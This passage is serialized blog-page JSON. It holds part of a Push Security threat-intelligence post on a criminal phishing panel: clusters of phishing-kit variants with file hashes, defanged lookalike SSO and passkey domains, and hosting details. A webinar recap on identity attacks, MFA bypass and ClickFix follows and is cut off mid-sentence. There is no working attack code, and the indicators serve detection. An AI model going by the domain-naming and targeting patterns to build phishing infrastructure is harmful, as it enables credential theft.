2026",{"data":27346,"content":27347,"nodeType":4581},{},[27348,27357],{"data":27349,"content":27350,"nodeType":4569},{},[27351],{"data":27352,"content":27353,"nodeType":860},{},[27354],{"data":27355,"marks":27356,"value":27064,"nodeType":864},{},[],{"data":27358,"content":27359,"nodeType":4569},{},[27360,27367,27374],{"data":27361,"content":27362,"nodeType":860},{},[27363],{"data":27364,"marks":27365,"value":27366,"nodeType":864},{},[],"\u003Ctarget>internal.com",{"data":27368,"content":27369,"nodeType":860},{},[27370],{"data":27371,"marks":27372,"value":27373,"nodeType":864},{},[],"\u003Ctarget>sso.com",{"data":27375,"content":27376,"nodeType":860},{},[27377],{"data":27378,"marks":27379,"value":27102,"nodeType":864},{},[],{"data":27381,"content":27382,"nodeType":4581},{},[27383,27392],{"data":27384,"content":27385,"nodeType":4569},{},[27386],{"data":27387,"content":27388,"nodeType":860},{},[27389],{"data":27390,"marks":27391,"value":27115,"nodeType":864},{},[],{"data":27393,"content":27394,"nodeType":4569},{},[27395,27402,27409,27416],{"data":27396,"content":27397,"nodeType":860},{},[27398],{"data":27399,"marks":27400,"value":27401,"nodeType":864},{},[],"epicgamessso[.]com (December 2025)",{"data":27403,"content":27404,"nodeType":860},{},[27405],{"data":27406,"marks":27407,"value":27408,"nodeType":864},{},[],"myadyeninternal[.]com (January 2026)",{"data":27410,"content":27411,"nodeType":860},{},[27412],{"data":27413,"marks":27414,"value":27415,"nodeType":864},{},[],"mysonossso[.]com (January 2026)",{"data":27417,"content":27418,"nodeType":860},{},[27419],{"data":27420,"marks":27421,"value":27422,"nodeType":864},{},[],"sonosinternal[.]com (January 2026)",{"data":27424,"content":27425,"nodeType":4581},{},[27426,27435],{"data":27427,"content":27428,"nodeType":4569},{},[27429],{"data":27430,"content":27431,"nodeType":860},{},[27432],{"data":27433,"marks":27434,"value":27159,"nodeType":864},{},[],{"data":27436,"content":27437,"nodeType":4569},{},[27438],{"data":27439,"content":27440,"nodeType":860},{},[27441],{"data":27442,"marks":27443,"value":27444,"nodeType":864},{},[],"Tucows",{"data":27446,"content":27447,"nodeType":4581},{},[27448,27457],{"data":27449,"content":27450,"nodeType":4569},{},[27451],{"data":27452,"content":27453,"nodeType":860},{},[27454],{"data":27455,"marks":27456,"value":27182,"nodeType":864},{},[],{"data":27458,"content":27459,"nodeType":4569},{},[27460],{"data":27461,"content":27462,"nodeType":860},{},[27463],{"data":27464,"marks":27465,"value":27466,"nodeType":864},{},[],"Njalla",{"data":27468,"content":27469,"nodeType":4581},{},[27470,27479],{"data":27471,"content":27472,"nodeType":4569},{},[27473],{"data":27474,"content":27475,"nodeType":860},{},[27476],{"data":27477,"marks":27478,"value":27205,"nodeType":864},{},[],{"data":27480,"content":27481,"nodeType":4569},{},[27482],{"data":27483,"content":27484,"nodeType":860},{},[27485],{"data":27486,"marks":27487,"value":27488,"nodeType":864},{},[],"Njalla (AS39287)",{"data":27490,"content":27491,"nodeType":1312},{},[27492],{"data":27493,"marks":27494,"value":27495,"nodeType":864},{},[],"Cluster C",{"data":27497,"content":27498,"nodeType":860},{},[27499],{"data":27500,"marks":27501,"value":27502,"nodeType":864},{},[],"Cluster C is likely an evolution of Cluster B. Some evidence has been observed tying the backend hosting to Njalla behind the Cloudflare CDN further solidifying the link. The shift to Cloudflare Turnstile protection and subdomain-based targeting represents an operational refinement — moving away from the distinctive [target]internal[.]com pattern that had become a well-known campaign indicator.",{"data":27504,"content":27505,"nodeType":4845},{},[27506,27530,27552,27574,27596,27639,27660,27682],{"data":27507,"content":27508,"nodeType":4581},{},[27509,27519],{"data":27510,"content":27511,"nodeType":4569},{},[27512],{"data":27513,"content":27514,"nodeType":860},{},[27515],{"data":27516,"marks":27517,"value":26989,"nodeType":864},{},[27518],{"type":899},{"data":27520,"content":27521,"nodeType":4569},{},[27522],{"data":27523,"content":27524,"nodeType":860},{},[27525],{"data":27526,"marks":27527,"value":27529,"nodeType":864},{},[27528],{"type":899},"heartbeat/check_redirect variant protected with Cloudflare turnstile",{"data":27531,"content":27532,"nodeType":4581},{},[27533,27542],{"data":27534,"content":27535,"nodeType":4569},{},[27536],{"data":27537,"content":27538,"nodeType":860},{},[27539],{"data":27540,"marks":27541,"value":26514,"nodeType":864},{},[],{"data":27543,"content":27544,"nodeType":4569},{},[27545],{"data":27546,"content":27547,"nodeType":860},{},[27548],{"data":27549,"marks":27550,"value":27551,"nodeType":864},{},[],"cb1d409278b2247af23e7b00ac779b232baaf4ce5f63fdf5ebc3920a38cc6102",{"data":27553,"content":27554,"nodeType":4581},{},[27555,27564],{"data":27556,"content":27557,"nodeType":4569},{},[27558],{"data":27559,"content":27560,"nodeType":860},{},[27561],{"data":27562,"marks":27563,"value":27041,"nodeType":864},{},[],{"data":27565,"content":27566,"nodeType":4569},{},[27567],{"data":27568,"content":27569,"nodeType":860},{},[27570],{"data":27571,"marks":27572,"value":27573,"nodeType":864},{},[],"March 2026 - present (April 2026)",{"data":27575,"content":27576,"nodeType":4581},{},[27577,27586],{"data":27578,"content":27579,"nodeType":4569},{},[27580],{"data":27581,"content":27582,"nodeType":860},{},[27583],{"data":27584,"marks":27585,"value":27064,"nodeType":864},{},[],{"data":27587,"content":27588,"nodeType":4569},{},[27589],{"data":27590,"content":27591,"nodeType":860},{},[27592],{"data":27593,"marks":27594,"value":27595,"nodeType":864},{},[],"\u003Ctarget> subdomain with generic “sso”, “passkey”, “enroll”, “okta” theme root domain",{"data":27597,"content":27598,"nodeType":4581},{},[27599,27608],{"data":27600,"content":27601,"nodeType":4569},{},[27602],{"data":27603,"content":27604,"nodeType":860},{},[27605],{"data":27606,"marks":27607,"value":27115,"nodeType":864},{},[],{"data":27609,"content":27610,"nodeType":4569},{},[27611,27618,27625,27632],{"data":27612,"content":27613,"nodeType":860},{},[27614],{"data":27615,"marks":27616,"value":27617,"nodeType":864},{},[],"\u003Ctarget>.passkeysetup.com (March 2026)",{"data":27619,"content":27620,"nodeType":860},{},[27621],{"data":27622,"marks":27623,"value":27624,"nodeType":864},{},[],"\u003Ctarget>.enrollms.com (March 2026)",{"data":27626,"content":27627,"nodeType":860},{},[27628],{"data":27629,"marks":27630,"value":27631,"nodeType":864},{},[],"\u003Ctarget>.keyokta.com (April 2026)",{"data":27633,"content":27634,"nodeType":860},{},[27635],{"data":27636,"marks":27637,"value":27638,"nodeType":864},{},[],"\u003Ctarget>.passkeywork.com (April 2026)",{"data":27640,"content":27641,"nodeType":4581},{},[27642,27651],{"data":27643,"content":27644,"nodeType":4569},{},[27645],{"data":27646,"content":27647,"nodeType":860},{},[27648],{"data":27649,"marks":27650,"value":27159,"nodeType":864},{},[],{"data":27652,"content":27653,"nodeType":4569},{},[27654],{"data":27655,"content":27656,"nodeType":860},{},[27657],{"data":27658,"marks":27659,"value":27444,"nodeType":864},{},[],{"data":27661,"content":27662,"nodeType":4581},{},[27663,27672],{"data":27664,"content":27665,"nodeType":4569},{},[27666],{"data":27667,"content":27668,"nodeType":860},{},[27669],{"data":27670,"marks":27671,"value":27182,"nodeType":864},{},[],{"data":27673,"content":27674,"nodeType":4569},{},[27675],{"data":27676,"content":27677,"nodeType":860},{},[27678],{"data":27679,"marks":27680,"value":27681,"nodeType":864},{},[],"Cloudflare",{"data":27683,"content":27684,"nodeType":4581},{},[27685,27694],{"data":27686,"content":27687,"nodeType":4569},{},[27688],{"data":27689,"content":27690,"nodeType":860},{},[27691],{"data":27692,"marks":27693,"value":27205,"nodeType":864},{},[],{"data":27695,"content":27696,"nodeType":4569},{},[27697],{"data":27698,"content":27699,"nodeType":860},{},[27700],{"data":27701,"marks":27702,"value":27703,"nodeType":864},{},[],"Cloudflare (AS13335)",{"data":27705,"content":27706,"nodeType":1312},{},[27707],{"data":27708,"marks":27709,"value":27710,"nodeType":864},{},[],"Cluster D",{"data":27712,"content":27713,"nodeType":4845},{},[27714,27738,27760,27782,27804,27833,27854,27875],{"data":27715,"content":27716,"nodeType":4581},{},[27717,27727],{"data":27718,"content":27719,"nodeType":4569},{},[27720],{"data":27721,"content":27722,"nodeType":860},{},[27723],{"data":27724,"marks":27725,"value":26989,"nodeType":864},{},[27726],{"type":899},{"data":27728,"content":27729,"nodeType":4569},{},[27730],{"data":27731,"content":27732,"nodeType":860},{},[27733],{"data":27734,"marks":27735,"value":27737,"nodeType":864},{},[27736],{"type":899},"heartbeat/check_redirect variant (minified)",{"data":27739,"content":27740,"nodeType":4581},{},[27741,27750],{"data":27742,"content":27743,"nodeType":4569},{},[27744],{"data":27745,"content":27746,"nodeType":860},{},[27747],{"data":27748,"marks":27749,"value":26514,"nodeType":864},{},[],{"data":27751,"content":27752,"nodeType":4569},{},[27753],{"data":27754,"content":27755,"nodeType":860},{},[27756],{"data":27757,"marks":27758,"value":27759,"nodeType":864},{},[],"9d65dd34384b441505e6b67647153c02d5c367bb53da36ce36a392e70b37940a",{"data":27761,"content":27762,"nodeType":4581},{},[27763,27772],{"data":27764,"content":27765,"nodeType":4569},{},[27766],{"data":27767,"content":27768,"nodeType":860},{},[27769],{"data":27770,"marks":27771,"value":27041,"nodeType":864},{},[],{"data":27773,"content":27774,"nodeType":4569},{},[27775],{"data":27776,"content":27777,"nodeType":860},{},[27778],{"data":27779,"marks":27780,"value":27781,"nodeType":864},{},[],"April 2026 (low volume)",{"data":27783,"content":27784,"nodeType":4581},{},[27785,27794],{"data":27786,"content":27787,"nodeType":4569},{},[27788],{"data":27789,"content":27790,"nodeType":860},{},[27791],{"data":27792,"marks":27793,"value":27064,"nodeType":864},{},[],{"data":27795,"content":27796,"nodeType":4569},{},[27797],{"data":27798,"content":27799,"nodeType":860},{},[27800],{"data":27801,"marks":27802,"value":27803,"nodeType":864},{},[],"\u003Ctarget> subdomain with generic “passkey”, “portal”, “okta” theme root domain",{"data":27805,"content":27806,"nodeType":4581},{},[27807,27816],{"data":27808,"content":27809,"nodeType":4569},{},[27810],{"data":27811,"content":27812,"nodeType":860},{},[27813],{"data":27814,"marks":27815,"value":27115,"nodeType":864},{},[],{"data":27817,"content":27818,"nodeType":4569},{},[27819,27826],{"data":27820,"content":27821,"nodeType":860},{},[27822],{"data":27823,"marks":27824,"value":27825,"nodeType":864},{},[],"\u003Ctarget>.passkeyportalsetup.com",{"data":27827,"content":27828,"nodeType":860},{},[27829],{"data":27830,"marks":27831,"value":27832,"nodeType":864},{},[],"\u003Ctarget>.addoktapasskey.com",{"data":27834,"content":27835,"nodeType":4581},{},[27836,27845],{"data":27837,"content":27838,"nodeType":4569},{},[27839],{"data":27840,"content":27841,"nodeType":860},{},[27842],{"data":27843,"marks":27844,"value":27159,"nodeType":864},{},[],{"data":27846,"content":27847,"nodeType":4569},{},[27848],{"data":27849,"content":27850,"nodeType":860},{},[27851],{"data":27852,"marks":27853,"value":27169,"nodeType":864},{},[],{"data":27855,"content":27856,"nodeType":4581},{},[27857,27866],{"data":27858,"content":27859,"nodeType":4569},{},[27860],{"data":27861,"content":27862,"nodeType":860},{},[27863],{"data":27864,"marks":27865,"value":27182,"nodeType":864},{},[],{"data":27867,"content":27868,"nodeType":4569},{},[27869],{"data":27870,"content":27871,"nodeType":860},{},[27872],{"data":27873,"marks":27874,"value":27681,"nodeType":864},{},[],{"data":27876,"content":27877,"nodeType":4581},{},[27878,27887],{"data":27879,"content":27880,"nodeType":4569},{},[27881],{"data":27882,"content":27883,"nodeType":860},{},[27884],{"data":27885,"marks":27886,"value":27205,"nodeType":864},{},[],{"data":27888,"content":27889,"nodeType":4569},{},[27890],{"data":27891,"content":27892,"nodeType":860},{},[27893],{"data":27894,"marks":27895,"value":27703,"nodeType":864},{},[],{"data":27897,"content":27898,"nodeType":1005},{},[],{"data":27900,"content":27901,"nodeType":1009},{},[27902],{"data":27903,"marks":27904,"value":27906,"nodeType":864},{},[27905],{"type":899},"Detection considerations",{"data":27908,"content":27909,"nodeType":860},{},[27910],{"data":27911,"marks":27912,"value":27913,"nodeType":864},{},[],"For Push, the detection approach to these panels is fundamentally the same as for any other phishing kit — behavioral analysis of the rendered page in the browser, regardless of the C2 protocol running underneath. ",{"data":27915,"content":27916,"nodeType":860},{},[27917],{"data":27918,"marks":27919,"value":27920,"nodeType":864},{},[],"The main operational difference is on the operator end, where the human-in-the-loop interaction replaces fully automated credential harvesting. This has implications for defenders relying on proactive infrastructure scanning: the gated landing pages, anti-bot checks, and operator-approval requirements mean the malicious content is only served to active targets, making it significantly harder for automated scanners to discover and flag these domains before they're used against a victim.",{"data":27922,"content":27923,"nodeType":860},{},[27924,27929],{"data":27925,"marks":27926,"value":27928,"nodeType":864},{},[27927],{"type":899},"The phone call as delivery vector eliminates the email-based detection surface that most organizations rely on as their primary phishing defense. ",{"data":27930,"marks":27931,"value":27932,"nodeType":864},{},[],"Operator-gated payload delivery further reduces the likelihood that these sites will be flagged as malicious and added to known-bad detection lists (and in any case, it’s trivial for attackers to spin up new ones). This reinforces the need for browser-based detection at the point the user interacts with the page, analyzing it in real time for malicious content without relying on static IoCs. ",{"data":27934,"content":27935,"nodeType":1005},{},[],{"data":27937,"content":27938,"nodeType":1009},{},[27939],{"data":27940,"marks":27941,"value":7238,"nodeType":864},{},[27942],{"type":899},{"data":27944,"content":27945,"nodeType":860},{},[27946,27950,27956],{"data":27947,"marks":27948,"value":27949,"nodeType":864},{},[],"Short-lived IoCs are of limited value when tackling modern phishing attacks due to the rate at which attackers are able to ",{"data":27951,"content":27952,"nodeType":883},{"uri":7248},[27953],{"data":27954,"marks":27955,"value":7253,"nodeType":864},{},[],{"data":27957,"marks":27958,"value":27959,"nodeType":864},{},[]," in the attack chain, often dynamically serving different URLs to site visitors. ",{"data":27961,"content":27962,"nodeType":860},{},[27963,27966,27974],{"data":27964,"marks":27965,"value":21,"nodeType":864},{},[],{"data":27967,"content":27969,"nodeType":883},{"uri":27968},"https://www.virustotal.com/gui/collection/0f745e9da6ef7664444594a7ee930cfe5a9d8bd6c2f039dcde818599b8926610",[27970],{"data":27971,"marks":27972,"value":27973,"nodeType":864},{},[],"The full list of IoCs is on VirusTotal here. ",{"data":27975,"marks":27976,"value":21,"nodeType":864},{},[],{"data":27978,"content":27979,"nodeType":860},{},[27980],{"data":27981,"marks":27982,"value":7196,"nodeType":864},{},[27983],{"type":899},{"data":27985,"content":27986,"nodeType":1005},{},[],{"data":27988,"content":27989,"nodeType":1009},{},[27990],{"data":27991,"marks":27992,"value":3578,"nodeType":864},{},[27993],{"type":899},{"data":27995,"content":27996,"nodeType":860},{},[27997,28001,28007],{"data":27998,"marks":27999,"value":28000,"nodeType":864},{},[],"Push Security is the most powerful AI-native security tool in the browser. Think EDR, but for the browser — high-fidelity telemetry and real-time control across every session, on every device, with no browser migration required.\n\nSecurity teams use Push to detect and stop advanced browser-based attacks like AiTM phishing, ClickFix, and session hijacking; gain visibility and control over AI tool usage across their workforce; harden identities by surfacing credential reuse, SSO gaps, and shadow IT; and support data loss and insider investigations with browser-layer telemetry that other tools can't see.\n\nBook a ",{"data":28002,"content":28003,"nodeType":883},{"uri":1700},[28004],{"data":28005,"marks":28006,"value":2715,"nodeType":864},{},[],{"data":28008,"marks":28009,"value":2719,"nodeType":864},{},[],"We infiltrated a criminal phishing panel: here’s what we found","We got an inside look at a phishing panel used in criminal campaigns linked to operators like ShinyHunters and BlackFile. Here’s what we found.","2026-05-07T00:00:00.000Z","inside-criminal-phishing-panel",{"items":28015},[28016,28018],{"sys":28017,"name":6593},{"id":6592},{"sys":28019,"name":342},{"id":6596},{"items":28021},[28022],{"fullName":28023,"firstName":28024,"jobTitle":2738,"profilePicture":28025},"Push Security Research Team","Research",{"url":28026},"https://images.ctfassets.net/y1cdw1ablpvd/7LpkwyXbOZ8WCVTAXzULmC/bfa3634c78ee9dfbee6606ba5519918b/push-round.png","blog/llmshare-malvertising-campaign",{"json":28029},{"data":28030,"content":28031,"nodeType":856},{},[28032],{"data":28033,"content":28034,"nodeType":860},{},[28035],{"data":28036,"marks":28037,"value":28038,"nodeType":864},{},[],"Attackers are abusing the shared content features of AI chatbot platforms — ChatGPT and Claude — to deliver malware through pages hosted on legitimate, trusted domains, distributing the malicious links via sponsored malvertising ads on search engines. ",{"id":6603,"publishedAt":28040},"2026-08-12T12:00:49.899Z",{"items":28042},[28043,28045],{"sys":28044,"name":6593},{"id":6592},{"sys":28046,"name":342},{"id":6596},{"items":28048},[28049,28051,28053,28055,28057,28059,28061,28063,28065,28067,28069,28071],{"sys":28050,"name":279,"slug":280,"tier":31},{"id":276},{"sys":28052,"name":235,"slug":236,"tier":31},{"id":232},{"sys":28054,"name":519,"slug":520,"tier":31},{"id":516},{"sys":28056,"name":440,"slug":441,"tier":45},{"id":437},{"sys":28058,"name":448,"slug":449,"tier":45},{"id":445},{"sys":28060,"name":315,"slug":316,"tier":45},{"id":312},{"sys":28062,"name":431,"slug":432,"tier":45},{"id":428},{"sys":28064,"name":422,"slug":423,"tier":45},{"id":419},{"sys":28066,"name":244,"slug":245,"tier":45},{"id":241},{"sys":28068,"name":563,"slug":564,"tier":45},{"id":560},{"sys":28070,"name":607,"slug":608,"tier":45},{"id":604},{"sys":28072,"name":475,"slug":476,"tier":45},{"id":472},"IqK0SBDuAwVjeXZ7slErmV4yVzN_7gBWkRubjc6cQw4",{"id":28075,"title":28076,"authorsCollection":28077,"content":28085,"extension":228,"faqItemsCollection":28603,"faqTitle":59,"featured":6,"hashTags":59,"meta":28605,"metaTitle":28606,"ogImage":59,"postType":8776,"publishedDate":28607,"relatedBlogPostsCollection":28608,"slug":33416,"stem":33417,"subtitle":59,"summary":33418,"synopsis":33440,"sys":33441,"tagsCollection":33444,"topicsCollection":33450,"__hash__":33488},"blog/blog/7-things-we-learned-from-matt-johansen.json","What we learned from 'Security Theater vs. Security That Works' with Matt Johansen",{"items":28078},[28079],{"fullName":28080,"firstName":28081,"jobTitle":28082,"socialLinks":59,"profilePicture":28083},"Daniel Park","Daniel","Technical Content",{"url":28084},"https://images.ctfassets.net/y1cdw1ablpvd/6Cwg1xVeCdzUvxBIMfnDO5/6b18ed126b53611e7b521da34f900d29/254-0-2.jpg",{"json":28086,"links":28593},{"data":28087,"content":28088,"nodeType":856},{},[28089,28097,28104,28131,28138,28145,28148,28156,28163,28180,28187,28205,28208,28216,28223,28242,28260,28278,28281,28286,28291,28294,28302,28309,28325,28332,28335,28343,28381,28388,28395,28402,28410,28429,28447,28454,28461,28468,28487,28490,28498,28505,28523,28530,28537,28540,28562,28565,28571,28577],{"data":28090,"content":28091,"nodeType":1009},{},[28092],{"data":28093,"marks":28094,"value":28096,"nodeType":864},{},[28095],{"type":899},"1. Hackers don't hack in, they log in",{"data":28098,"content":28099,"nodeType":860},{},[28100],{"data":28101,"marks":28102,"value":28103,"nodeType":864},{},[],"Matt made the point early on that \"the modern web frameworks that have come out have done more to shift application security than any security vendor ever did.\" It's measurably harder to write exploitable code in 2026 than it was even five years ago, and the data reflects that — as Matt put it, \"most hacks that we read about these days are actually logins, not actually hacks in terms of vulnerabilities.\" Attackers aren't breaking in — they're logging in.",{"data":28105,"content":28106,"nodeType":860},{},[28107,28111,28115,28119,28127],{"data":28108,"marks":28109,"value":28110,"nodeType":864},{},[],"The data backs this up across the board. CrowdStrike's 2026 Global Threat Report found that ",{"data":28112,"marks":28113,"value":11789,"nodeType":864},{},[28114],{"type":899},{"data":28116,"marks":28117,"value":28118,"nodeType":864},{},[]," — no exploit, no payload, just access and legitimate functionality being abused. ",{"data":28120,"content":28122,"nodeType":883},{"uri":28121},"https://services.google.com/fh/files/misc/cloud_threat_horizons_report_h12026.pdf",[28123],{"data":28124,"marks":28125,"value":28126,"nodeType":864},{},[],"Google/Mandiant",{"data":28128,"marks":28129,"value":28130,"nodeType":864},{},[]," recently reported that identity issues were the initial access vector in 83% of cloud-related incidents.",{"data":28132,"content":28133,"nodeType":860},{},[28134],{"data":28135,"marks":28136,"value":28137,"nodeType":864},{},[],"And when you look at the economics, the shift makes obvious sense: a browser RCE goes for around $250,000, while a PhaaS kit rental runs about $1,000 per year and a bulk stolen credential list costs $15. For a rational attacker, identity abuse isn't just easier — it's orders of magnitude cheaper.",{"data":28139,"content":28140,"nodeType":860},{},[28141],{"data":28142,"marks":28143,"value":28144,"nodeType":864},{},[],"This isn't a new observation, but it's one that still hasn't fully landed in how most organizations allocate their security budgets. The bulk of enterprise security spending is still pointed at the endpoint and the network — tooling built for an era when the primary threat was malware and exploitation. The threat model has moved, and for a lot of organizations, the stack hasn't moved with it.",{"data":28146,"content":28147,"nodeType":1005},{},[],{"data":28149,"content":28150,"nodeType":1009},{},[28151],{"data":28152,"marks":28153,"value":28155,"nodeType":864},{},[28154],{"type":899},"2. AI is a force multiplier, but it isn't a super hacker",{"data":28157,"content":28158,"nodeType":860},{},[28159],{"data":28160,"marks":28161,"value":28162,"nodeType":864},{},[],"The Mythos discourse has been hard to escape. As Matt put it, the view that \"the AI super hacker has escaped the lab\" is \"not actually what's going on.\" What's actually happening is that AI models trained to understand code are turning out to be very good at finding specific types of vulnerabilities in predominantly legacy codebases — but defenders stand to gain a lot too.",{"data":28164,"content":28165,"nodeType":860},{},[28166,28170,28177],{"data":28167,"marks":28168,"value":28169,"nodeType":864},{},[],"As Matt referenced, Google's CISO Heather Adkins said on stage at the Unprompted conference that Google's stated goal is \"to eliminate all software vulnerabilities, period.\" And browser zero-days already hit a ",{"data":28171,"content":28172,"nodeType":883},{"uri":6374},[28173],{"data":28174,"marks":28175,"value":28176,"nodeType":864},{},[],"historic low at just 9% of all zero-days reported to Google in 2025",{"data":28178,"marks":28179,"value":2924,"nodeType":864},{},[],{"data":28181,"content":28182,"nodeType":860},{},[28183],{"data":28184,"marks":28185,"value":28186,"nodeType":864},{},[],"But won't AI-assisted vulnerability discovery eventually make browser exploits cheaper for attackers too? Perhaps — but it will simultaneously make them easier for browser vendors to find and patch, and vendors like Google and Microsoft have the engineering capacity and financial incentive to scale AI-driven remediation far faster than attackers can scale exploit development.",{"data":28188,"content":28189,"nodeType":860},{},[28190,28194,28201],{"data":28191,"marks":28192,"value":28193,"nodeType":864},{},[],"As Matt noted, \"they didn't train these models to be good at cybersecurity — they just trained them to get better and better at code,\" and big tech vendors like Google have the resources to really invest in these tools. The rational play for attackers is the same one it's been for years: skip the exploit development entirely and ",{"data":28195,"content":28196,"nodeType":883},{"uri":13366},[28197],{"data":28198,"marks":28199,"value":28200,"nodeType":864},{},[],"steal identities and sessions in the browser",{"data":28202,"marks":28203,"value":28204,"nodeType":864},{},[]," instead.",{"data":28206,"content":28207,"nodeType":1005},{},[],{"data":28209,"content":28210,"nodeType":1009},{},[28211],{"data":28212,"marks":28213,"value":28215,"nodeType":864},{},[28214],{"type":899},"3. MFA is essential — but it isn't a silver bullet",{"data":28217,"content":28218,"nodeType":860},{},[28219],{"data":28220,"marks":28221,"value":28222,"nodeType":864},{},[],"Nobody's arguing against MFA. It's one of the most important security controls any organization can deploy, and both Matt and Mark were clear about that. But the conversation surfaced something that doesn't get enough attention: there are always gaps in coverage, and attackers have consistently found ways under, over, or through it.",{"data":28224,"content":28225,"nodeType":860},{},[28226,28230,28238],{"data":28227,"marks":28228,"value":28229,"nodeType":864},{},[],"Mark observed that every organization he talks to says they're in the process of \"rolling out\" MFA. It's always in progress, never complete — there's always an app that doesn't support it, a legacy system that can't handle it, a user population that hasn't been migrated, or a SaaS vendor charging extra for the privilege (the ",{"data":28231,"content":28233,"nodeType":883},{"uri":28232},"https://pushsecurity.com/blog/minimum-viable-identity-security/",[28234],{"data":28235,"marks":28236,"value":28237,"nodeType":864},{},[],"security tax",{"data":28239,"marks":28240,"value":28241,"nodeType":864},{},[],"). Coverage gaps are the norm, not the exception.",{"data":28243,"content":28244,"nodeType":860},{},[28245,28249,28256],{"data":28246,"marks":28247,"value":28248,"nodeType":864},{},[],"Then there's the bypass evolution. Matt walked through the history — SMS and SIM swapping, push notifications and push fatigue, and now ",{"data":28250,"content":28251,"nodeType":883},{"uri":5914},[28252],{"data":28253,"marks":28254,"value":28255,"nodeType":864},{},[],"AiTM kits ",{"data":28257,"marks":28258,"value":28259,"nodeType":864},{},[],"that proxy the entire authentication flow, capturing both the password and the MFA token in a single attack. Every step up the MFA ladder, attackers have found a way around. Phishing-resistant methods like hardware tokens and passkeys are a meaningful improvement, but rollout is slow and uneven.",{"data":28261,"content":28262,"nodeType":860},{},[28263,28267,28274],{"data":28264,"marks":28265,"value":28266,"nodeType":864},{},[],"And then there's the class of attacks that sidestep authentication entirely. Consent phishing, ",{"data":28268,"content":28269,"nodeType":883},{"uri":3259},[28270],{"data":28271,"marks":28272,"value":28273,"nodeType":864},{},[],"device code phishing",{"data":28275,"marks":28276,"value":28277,"nodeType":864},{},[],", session hijacking — these are all post-authentication attacks. The user has already authenticated successfully, the MFA did its job, and the attacker is going after what comes after: OAuth tokens, session cookies, consent grants. Matt compared these to zero days for identity — they bypass the entire front end of your defensive stack. MFA is absolutely something you should be rolling out and strengthening, but it's one layer in what needs to be a deeper defense.",{"data":28279,"content":28280,"nodeType":1005},{},[],{"data":28282,"content":28285,"nodeType":996},{"target":28283},{"sys":28284},{"id":4984,"type":1001,"linkType":1002},[],{"data":28287,"content":28290,"nodeType":996},{"target":28288},{"sys":28289},{"id":4990,"type":1001,"linkType":1002},[],{"data":28292,"content":28293,"nodeType":1005},{},[],{"data":28295,"content":28296,"nodeType":1009},{},[28297],{"data":28298,"marks":28299,"value":28301,"nodeType":864},{},[28300],{"type":899},"4. User training is not enough: better technical controls are required",{"data":28303,"content":28304,"nodeType":860},{},[28305],{"data":28306,"marks":28307,"value":28308,"nodeType":864},{},[],"Matt was blunt on this one: \"If those tips worked, cybersecurity as a profession would be out of business.\" 20+ years of user awareness training, and phishing is arguably more effective than ever. The standard advice — hover over links, check the sender, look for typos — assumes a level of sustained vigilance that no human can maintain across every interaction, every day.",{"data":28310,"content":28311,"nodeType":860},{},[28312,28316,28321],{"data":28313,"marks":28314,"value":28315,"nodeType":864},{},[],"What made his point land was the contrast between the comment sections on his ClickFix content — \"Who the hell would fall for this?\" — and the reality that ",{"data":28317,"marks":28318,"value":28320,"nodeType":864},{},[28319],{"type":899},"every incident response professional he knows is currently working a ClickFix case. ",{"data":28322,"marks":28323,"value":28324,"nodeType":864},{},[],"The people saying nobody would fall for it are not the people cleaning up after it.",{"data":28326,"content":28327,"nodeType":860},{},[28328],{"data":28329,"marks":28330,"value":28331,"nodeType":864},{},[],"Matt also brought the recent Lazarus group fake job scams: threat actors spending six months building trust with a target — meeting in person at conferences, multiple times — before eventually getting them to install a malicious browser extension during a Zoom call. All of the social engineering that precedes the actual compromise is just trust-building, and the sophistication of that trust-building is increasing faster than any training program can keep up with. You need defensive layers that don't depend on the user making the right call every single time.",{"data":28333,"content":28334,"nodeType":1005},{},[],{"data":28336,"content":28337,"nodeType":1009},{},[28338],{"data":28339,"marks":28340,"value":28342,"nodeType":864},{},[28341],{"type":899},"5. Every IR pro you know is working a ClickFix case",{"data":28344,"content":28345,"nodeType":860},{},[28346,28350,28357,28361,28368,28371,28377],{"data":28347,"marks":28348,"value":28349,"nodeType":864},{},[],"ClickFix came up repeatedly, and for good reason — it's one of the ",{"data":28351,"content":28352,"nodeType":883},{"uri":13366},[28353],{"data":28354,"marks":28355,"value":28356,"nodeType":864},{},[],"most common initial access vectors",{"data":28358,"marks":28359,"value":28360,"nodeType":864},{},[]," being reported right now. Matt said he doesn't know a single IR professional in his network who \"isn't actively working a ClickFix-related case.\" The technique, which tricks users into copying and pasting malicious commands, has spawned an entire family of variants (",{"data":28362,"content":28363,"nodeType":883},{"uri":6024},[28364],{"data":28365,"marks":28366,"value":6029,"nodeType":864},{},[28367],{"type":1455},{"data":28369,"marks":28370,"value":3731,"nodeType":864},{},[],{"data":28372,"content":28373,"nodeType":883},{"uri":6036},[28374],{"data":28375,"marks":28376,"value":6041,"nodeType":864},{},[],{"data":28378,"marks":28379,"value":28380,"nodeType":864},{},[],", and others), and they're evolving fast.",{"data":28382,"content":28383,"nodeType":860},{},[28384],{"data":28385,"marks":28386,"value":28387,"nodeType":864},{},[],"Matt shared a particularly good example of why the \"just don't fall for it\" advice falls apart. Attackers were paying for ads promoting ChatGPT chat history links on technical search queries — things like \"how to clean up disk space on Mac.\" The top result was a legitimate-looking ChatGPT interface with what appeared to be helpful terminal commands.",{"data":28389,"content":28390,"nodeType":860},{},[28391],{"data":28392,"marks":28393,"value":28394,"nodeType":864},{},[],"The user was already looking for commands to copy and paste into their terminal. The attack didn't need to trick them into doing something unusual — it just showed up in the exact context where copy-pasting commands was the expected behavior.",{"data":28396,"content":28397,"nodeType":860},{},[28398],{"data":28399,"marks":28400,"value":28401,"nodeType":864},{},[],"The new variants keep appearing because the underlying technique is modular — the trust-building wrapper changes (fake CAPTCHAs, fake error messages, fake install instructions, fake AI chat interfaces), but the core mechanic is the same. What makes it dangerous is that each new wrapper goes quasi-viral among attackers when it proves successful, which means the window between a new variant appearing and widespread adoption is very short.",{"data":28403,"content":28404,"nodeType":1009},{},[28405],{"data":28406,"marks":28407,"value":28409,"nodeType":864},{},[28408],{"type":899},"6. Browser extensions are the threat that never went away (and it's a bigger problem than ever)",{"data":28411,"content":28412,"nodeType":860},{},[28413,28417,28425],{"data":28414,"marks":28415,"value":28416,"nodeType":864},{},[],"Browser extensions are a topic we've ",{"data":28418,"content":28420,"nodeType":883},{"uri":28419},"https://pushsecurity.com/resources/browser-extensions-webinar",[28421],{"data":28422,"marks":28423,"value":28424,"nodeType":864},{},[],"covered in depth before",{"data":28426,"marks":28427,"value":28428,"nodeType":864},{},[],", and Matt's perspective reinforced why. His first conference talk — Black Hat and DEF CON in 2011 — was about Chrome extension security. As he put it: \"I could give that talk right now with very few changes to the slides and it would still be extremely 